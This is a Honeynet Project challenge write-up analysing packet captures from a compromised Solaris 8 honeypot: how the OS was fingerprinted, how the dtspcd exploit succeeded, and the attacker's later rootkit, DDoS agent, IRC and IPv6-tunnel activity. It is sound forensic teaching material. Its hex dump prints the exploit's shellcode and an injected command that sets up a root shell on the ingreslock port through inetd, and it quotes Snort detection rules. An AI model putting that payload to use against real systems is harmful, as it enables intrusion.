Scan of the Month 28

Analysis by:Ari Reen
ari dot reen at iki dot fi

Table Of Contents

  1. The Challenge
  2. Overview of the Analysis and Tools Used
  3. Answers

The Challenge

This month's challenge is to analyze a successful compromise and the attacker's actions after it. All submissions are due no later then 23:00 GMT, Friday, May 23rd. Results will be released Friday, May 30.

Skill Level: Intermediate


The Challenge:
Members of the AT&T Mexico Honeynet captured a unique attack. As common, what is interesting is not how the attackers broke in, but what they did afterwards. Your mission is to analyze the network capture of the attacker's activity and decode the attacker's actions. There are two binary log files. Day1 captured the break in, Day3 captures some unique activity following the compromise. The honeypot in question is IP 192.168.100.28. Make sure you review the challenge criteria before submitting your writeup.


Overview of the Analysis and Tools Used

I did the analysis on a NetBSD 1.6P running on vmware virtual machine. The reason why I decided to use the vmware virtual machine are the risks of analysing unknown files. At first the day1.log and day3.log files were downloaded from the SOTM 28 page and their integrity checked by checking the md5 checksums.

bash-2.05b$ ftp http://project.honeynet.org/scans/scan28/day1.log.gz
Requesting http://project.honeynet.org/scans/scan28/day1.log.gz
100% |**************************************************************************************|  2818 KB   33.42 KB/s    00:00 ETA
2885991 bytes retrieved in 01:24 (33.42 KB/s)
bash-2.05b$ ftp http://project.honeynet.org/scans/scan28/day3.log.gz
Requesting http://project.honeynet.org/scans/scan28/day3.log.gz
100% |**************************************************************************************|  3393 KB   30.92 KB/s    00:00 ETA
3474770 bytes retrieved in 01:49 (30.91 KB/s)
bash-2.05b$ md5 -n day[13].log.gz
79e5871791542c8f38dd9cee2b2bc317 day1.log.gz
af8ab95f41530fe3561b506b422ed636 day3.log.gz
bash-2.05b$ 

After that the day1.log was loaded to ethereal

bash-2.05b$ ethereal -r day1.log&
and quickly scanned to get an impression what to expect and what kind of tools would be useful in more detailed and systematic analysis. This task is quite fast because we have a honeypot, so all activity is at suspect. This also means that at first we can skip scans and only pay attention to successfull tcp connection establishments (and the connections) and udp-packets. There were also lots of nameserver queries originating from the honeypot, since they are most likely benign they were filtered out using command:
bash-2.05$ tcpdump -r day1.log -w day1.nodns.log '!udp and port 53'

If the capture would be from a real server, then in most cases we would have so much data the this approach would not be feasible. In that case we might want to feed the capture to some intrusion detection system like snort to quickly find if there are any know exploits.

Also at the beginning of the analysis the different tcp connecttion flow were saved to files, for easy reference during further analysis. This task was done using tcpflow-tool.

bash-2.05b$ mkdir day1
bash-2.05b$ (cd day1 && tcpflow -r ../day1.nodns.log )
bash-2.05b$ 

The resulting file are listed here. Before digging deeper into the dump file these flow files were investigated using standard unix tools like file, strings, and less. This was done to see what to expect to find later during the analysis. It was also quite easy to spot the flow used for the exploit.

To get the timeline of the tcp connections argus and ragator tools were used.

bash-2.05b$ argus -r day1.nodns.log -w day1.argus
bash-2.05b$ ragator -c -G -nn  - tcp < day1.argus| sort > day1.ragator

After these preparations we can start to go trought the cleaned day1.log, connection by connection. Using the port numbers and ethereal's follow tcp stream tool to identify the connections. Once connection had been identified, we can make notes what other network traffic it should generate and use the ethereal colorize display feature to mark the packets belonging to the connection so that it can be easily identified on the display.

Do this until all the packets have been colorized. Now you should have quite good idea what is happening. Here is an example screen dump how the network capture looks like once the colorizing has been done. The complete ethereal color filter file colorfilterscan be found from the .ethereal directory in the users home directory.

One way to try to learn to know the attaker and to find answers to questions 6 and 7, is to follow the IRC conversations he is having. In this case they we in italian, so Google language tools provided some help.

Tools

The table below summarizes the tools used for the analysis.
ToolShort Description
ftpInternet file transfer program
md5display file checksums and block counts
etherealInteractively browse network traffi
tcpdumpdump traffic on a network
tcpflowTCP flow recorder
filedetermine file type
stringsprint the strings of printable characters in files
lessopposite of more (a filter for browsing text files)
argusaudit record generation and utilization system
ragatoraggregate argus(8) data file entries

Tools used for making this report are not listed.


Answers

Question 1: What is the operating system of the honeypot? How did you determine that? (see day1)

Answer

The the honeypot is running SunOS 5.8 operating system, which mean it is a Solaris 8 machine (see Solaris 2 FAQ for mapping SunOS revisions to Solaris versions). The analysis below describes the steps used to determine this information.

Analysis

The answer to this question can be found from the scan the attaker did before the exploit. The scan consists of 3 steps:

  1. checking if the dtspc-port is active. We can see this starting from packet# 561 in the day1.log binary capture file.
  2. An attempt to connect to the port the root shell is going to be to verify the it indeed can be used, starting from packet #564. The response from the honeypot shows that the port is free and reachable for the attaker (at least to some degree).
  3. connection, starting from packet# 566, to the dtspc-port with valid dtspc request. The responce to this request gives us the answer to the question. In the packet# 571 we see the reply from the server which reveals the operating system of the honeypot:
    Frame 571 (136 bytes on wire, 136 bytes captured)
    Ethernet II, Src: 08:00:20:d1:76:19, Dst: 00:07:ec:b2:d0:0a
    Internet Protocol, Src Addr: 192.168.100.28 (192.168.100.28), Dst Addr: 61.219.90.180 (61.219.90.180)
    Transmission Control Protocol, Src Port: 6112 (6112), Dst Port: 56710 (56710), Seq: 3124564266, Ack: 2140233551, Len: 70
    Data (70 bytes)
    
    0000  30 30 30 30 30 30 30 30 31 34 30 30 33 32 30 30   0000000014003200
    0010  30 31 20 20 33 20 00 2f 2f 2e 53 50 43 5f 41 41   01  3 .//.SPC_AA
    0020  41 56 54 61 71 44 64 00 31 30 30 30 00 7a 6f 62   AVTaqDd.1000.zob
    0030  65 72 69 75 73 3a 53 75 6e 4f 53 3a 35 2e 38 3a   erius:SunOS:5.8:
    0040  73 75 6e 34 75 00                                 sun4u.
    

Determining the operating system is also one of the very first things the attaker does after connecting to his rootshell by giving 'uname -a' command.

To be more certain (maybe the server was running application level honeypot on some other operating system, and only emulating vulnerabile dtspc-service) we can use passive finger printing verify this information. In this case if we compare the

of the TCP packets originating from the honeypot, we can assure us that the operating system of the honeypot in indeed SunOS 5.8. In our case found the values from outbound TCP packet:
Frame 104 (62 bytes on wire, 62 bytes captured)
Ethernet II, Src: 08:00:20:d1:76:19, Dst: 00:07:ec:b2:d0:0a
Internet Protocol, Src Addr: 192.168.100.28 (192.168.100.28), Dst Addr: 62.211.66.16 (62.211.66.16)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
    Total Length: 48
    Identification: 0x8891 (34961)
    Flags: 0x04
        .1.. = Don't fragment: Set
        ..0. = More fragments: Not set
    Fragment offset: 0
    Time to live: 64
    Protocol: TCP (0x06)
    Header checksum: 0x813e (incorrect, should be 0x0c8f)
    Source: 192.168.100.28 (192.168.100.28)
    Destination: 62.211.66.16 (62.211.66.16)
Transmission Control Protocol, Src Port: 32783 (32783), Dst Port: ftp (21), Seq: 3216911659, Ack: 0, Len: 0
    Source port: 32783 (32783)
    Destination port: ftp (21)
    Sequence number: 3216911659
    Header length: 28 bytes
    Flags: 0x0002 (SYN)
    Window size: 24820
    Checksum: 0x8424 (incorrect, should be 0x0f75)
    Options: (8 bytes)

In this case the values are TTL is 64, window size is 24820, DF bit is asserted, and TOS is set to 0. If we compare this with the values for Solaris 8, we see that they match. So we got one more piece of evidence suggesting that the kernel is SunOS 5.8 (which is used by Solaris 8).

Question 2: How did the attacker(s) break into the system? (see day1)

Answer

The attaker used the dtspc vulnerability, see CERT advisory. and Scan of The Month 20 for more information of this attack.

Analysis

There are several ways to catch this attack. One can feed the network capture log file to some IDS for example snort. Snort has at least two rules that could match and generate an alert:

alert ip $EXTERNAL_NET any -> $HOME_NET $SHELLCODE_PORTS (msg:"SHELLCODE sparc NOOP"; 
content:"|801c 4011 801c 4011 801c 4011 801c 4011|"; reference:arachnids,353; 
classtype:shellcode-detect; sid:645; rev:3;)
and
alert tcp $EXTERNAL_NET any -> $HOME_NET 6112 (msg:"EXPLOIT CDE dtspcd exploit attempt"; 
flow:to_server,established; content:"1"; offset:10; depth:1; content:!"000"; offset:11; 
depth:3; reference:cve,CAN-2001-0803; reference:url,www.cert.org/advisories/CA-2002-01.html; 
classtype:misc-attack; sid:1398;  rev:5;)

If we would be dealing with real system (i.e. not honeypot) using some IDS (like snort) would be good way to catch the attack.

In our case we know that none of the traffic is legitimate so we can do the scanning manually (especially since this is SOTM challenge we know there will be something interesting for us to find :-) and the size of the day1 log file is quite small...

The manual scanning can be done described earlier in the analysis overview chapter.

The suspected exploit packet is below:
Frame 580 (1514 bytes on wire, 1514 bytes captured)
Ethernet II, Src: 00:07:ec:b2:d0:0a, Dst: 08:00:20:d1:76:19
Internet Protocol, Src Addr: 61.219.90.180 (61.219.90.180), Dst Addr: 192.168.100.28 (192.168.100.28)
Transmission Control Protocol, Src Port: 56711 (56711), Dst Port: 6112 (6112), Seq: 2143411080, Ack: 3124882182, Len: 1448
Data (1448 bytes)

0000  30 30 30 30 30 30 30 32 30 34 31 30 33 65 30 30   0000000204103e00
0010  30 33 20 20 34 20 00 00 00 31 30 00 80 1c 40 11   03  4 ...10...@.
0020  80 1c 40 11 10 80 01 01 80 1c 40 11 80 1c 40 11   ..@.......@...@.
0030  80 1c 40 11 80 1c 40 11 80 1c 40 11 80 1c 40 11   ..@...@...@...@.
<removed lines> 
04b0  80 1c 40 11 80 1c 40 11 80 1c 40 11 20 bf ff ff   ..@...@...@. ...
04c0  20 bf ff ff 7f ff ff ff 90 03 e0 34 92 23 e0 20    ..........4.#. 
04d0  a2 02 20 0c a4 02 20 10 c0 2a 20 08 c0 2a 20 0e   .. ... ..* ..* .
04e0  d0 23 ff e0 e2 23 ff e4 e4 23 ff e8 c0 23 ff ec   .#...#...#...#..
04f0  82 10 20 0b 91 d0 20 08 2f 62 69 6e 2f 6b 73 68   .. ... ./bin/ksh
0500  20 20 20 20 2d 63 20 20 65 63 68 6f 20 22 69 6e       -c  echo "in
0510  67 72 65 73 6c 6f 63 6b 20 73 74 72 65 61 6d 20   greslock stream 
0520  74 63 70 20 6e 6f 77 61 69 74 20 72 6f 6f 74 20   tcp nowait root 
0530  2f 62 69 6e 2f 73 68 20 73 68 20 2d 69 22 3e 2f   /bin/sh sh -i">/
0540  74 6d 70 2f 78 3b 2f 75 73 72 2f 73 62 69 6e 2f   tmp/x;/usr/sbin/
0550  69 6e 65 74 64 20 2d 73 20 2f 74 6d 70 2f 78 3b   inetd -s /tmp/x;
0560  73 6c 65 65 70 20 31 30 3b 2f 62 69 6e 2f 72 6d   sleep 10;/bin/rm
0570  20 2d 66 20 2f 74 6d 70 2f 78 20 41 41 41 41 41    -f /tmp/x AAAAA
0580  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0590  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
05a0  41 41 41 41 41 41 41 41                           AAAAAAAA

Once we have found were the exploit takes place we can try to indentify it. So far we know the target operating system, the TCP port (6112), and the attack packet. Armed with these a search on Google turns out a link to the advisory of the dtspc-attack, which we see fits our case.

How do we then know that this was really the way the attaker got in, and not just some unsuccesfull attempt. For that we have to look what happened before and after this packet. Well we did part of that analysis already while answering question 1, namely wee saw the scan of the port that will be the root shell, it was not active. But shortly after this attack packet we see successfull connection establishment to the very same port (packets #588 and #590)..

Note that if we would have used an IDS to check the capture file, it would have told us this information. Since we are analysing a honeypot (and trying to learn), we should not trust the information the IDS provided to us, but to really check the exploit and make sure that it is not a false positive or some new variant of the old exploit.

Question 3: Which systems were used in this attack, and how?(see day1)

Answer

Here is the list of systems used and what they were used for:

Analysis

The systems that are directly connected to the attack are easily found by checking the commands from the exploit and comparing them to the network capture. The exploit created a listening socket which will have an intereactive shell connected to it. The attaker then connects to this rootshell and by following the commands the attaker gives, we will find the FTP commands, the wget and start of the setup shell script. The setup shell script goes out to ftp.sunsolve.com to fetch some SunOS patches using FTP. The rootkit contains SSH server at port 5001 and PsyBNC server at port 7000. So we might expect at some point later activity targeted also to these ports. Finally the attaker gives ./solbnc command to start a distributed denial of service (DDOS) agent. This binary then tries to contact the DDOS handlers.

And while doing this keep an eye on the packet capture and mark the connections that the actions of the intruder create. If there is a packet that one can not associate with an action - look harder :-)

How we can be sure that we have the complete list? The answer is easy we can not be sure. There can be any number of systems that are used in the attack that we have no idea, take for example, the machine the root shell was originated, do we know how the attaker was using the machine - directly or over the net ?

Question 4: Create a diagram that demonstrates the sequences involved in the attack. (see day1)

Answer

The attack sequence - the node originating the connection has green background and the destination node of the connection has red background
Timehoneypot61.219.90.18080.117.14.4461.211.66.1662.211.66.53ftp.sunsolve.comirc.stealth.net217.116.38.10
2002-11-29 17:36:25 Scan of the vulnerability of the honeypot      
17:36:26 Commense dtspc exploit against the honeypot      
17:36:37 connection to the root shell on the honeypoit created by the expoloit      
17:42.42FTP connection to 61.211.66.16 to get wget, dlp, and solbnc       
17:45:29HTTP connection to 62.211.66.53 to get sol.tar.gz (the rootkit) from http://62.211.66.53/bobzz.sol.tar.gz using wget       
17:53:56FTP connection to ftp.sunsolve.com to get sun patches       
17:59:52first stacheldraht agent communication       
18:04:21  connection to the spyBNC IRC bouncer running on the honeypot     
18:11:02successfully connected to IRC network irc.stealth.net       
Time       

Analysis

The main source for this information is the root shell commands given and the TCP connection information obtained with argus and ragator. Ragator report with some annotations is here.

Question 5: What is the purpose/reason of the ICMP packets with 'skillz' in them? (see day1)

Answer

The ICMP packets with 'skillz' in them seems to be related to some distributed denial of service tool. The tool could be some variant of stacheldraht.

Analysis

From the packet capture we can notice that the first ICMP packet with 'skillz' in it appears after the solbnc binary has been started from the root shell. This gives us two possibilities to try to find out the purpose of the packets, we can study the binary or try to find information based on the packet itself.

If we only look the sent ICMP packet and search from Google with keywords icmp, skill, and 6666 we will find references to stacheldraht DDOS tool. Further study of the solbnc binary show that there are some similarities but there is no perfect match (e.g. strings output from the reported stacheldraht agents are different). Unfortunately I ran out of time in trying to analyze the solbnc-binary further. The day3.log shows what I believe is the agent in action (DDOS attack against ) and also some more ICMP echo reply control packets.

Question 6: Following the attack, the attacker(s) enabled a unique protocol that one would not expect to find on a n IPv4 network. Can you identify that protocol and why it was used? (see day3)

Answer

The attaker used the Configured tunneling of IPv6 over IPv4 mechanisms as defined in RFC 2898 to carry IPv6 traffic over IPv4.

The motivation for doing this is not clear to me. In the day3.log network dump file this protocol was only used for IRC. No features of the IPv6 that could not be accomplished with IPv4 were used. This suggest that IPv6 was used purely for 'hack value', i.e. because the attaker was able to do it and wanted to connect what might have been IPv6 only IRC-network. There might be some clues of the motivation in the IRC-conversation the attaker had, but with my non-existant italian skills (even with the help of google-translations), I could not find the reason.

Analysis

An easy way to detect and identify this protocol is to use the 'protocol hierarchy statistics' from ethereal. Here is a screen dump of the protocol hierarchy statistics run over the cleaned day3.log network capture. These statistics show that on top of internet protocol we have some ICMP, UDP, TCP and IPv6 packets. We can identify the protocal by looking one of these packets:

Frame 116258 (102 bytes on wire, 102 bytes captured)
Ethernet II, Src: 08:00:20:d1:76:19, Dst: 00:07:ec:b2:d0:0a
Internet Protocol, Src Addr: 192.168.100.28 (192.168.100.28), Dst Addr: 163.162.170.173 (163.162.170.173)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
    Total Length: 88
    Identification: 0x7b83 (31619)
    Flags: 0x04
    Fragment offset: 0
    Time to live: 60
    Protocol: IPv6 (0x29)
    Header checksum: 0xc494 (incorrect, should be 0x4fe5)
    Source: 192.168.100.28 (192.168.100.28)
    Destination: 163.162.170.173 (163.162.170.173)
Internet Protocol Version 6
    Version: 6
    Traffic class: 0x00
    Flowlabel: 0x00000
    Payload length: 28
    Next header: TCP (0x06)
    Hop limit: 60
    Source address: 2001:6b8:0:400::5d0e (2001:6b8:0:400::5d0e)
    Destination address: 2001:750:2:0:202:a5ff:fef0:aac7 (2001:750:2:0:202:a5ff:fef0:aac7)
Transmission Control Protocol, Src Port: 32780 (32780), Dst Port: ircd (6667), Seq: 53523086, Ack: 0, Len: 0

We see that the IP protocol number is 41 (hex 0x29), which is used to denote IPv6 over IPv4.

Question 7: Can you identify the nationality of the attacker? (see day3)

Answer

The nationality of the attaker is most likely Italian.

Analysis

Even the attack was originated from Taiwan, the attaker was most likely Italian. I come to this conclusion mainly because the language used in the IRC discussions and also the locations from which the attaker got his tools.

Bonus Question: What are the implications of using the unusual IP protocol to the Intrusion Detection industry?

Answer

First I must disagree IPv6 beeing unusual! It has been around quite a while and it is gaining popularity, altought slower than some people might want (me myself included:-).

Th main implication is that ID-industry must follow its time, i.e. keep the products current.

Bonus Question: What tools exist that can decode this protocol?

Answer

The most important tools used in this analysis are able to decode this protocol: ethereal, tcpdump, (and native tools on IPv6 aware operating systems) . On the tools used for this challenge the tcpflow-tool is not IPv6 compatiple. However, the same function can performed with ethereal, with a bit more manual work.


Last modified: Thu May 22 15:42:49 EEST 2003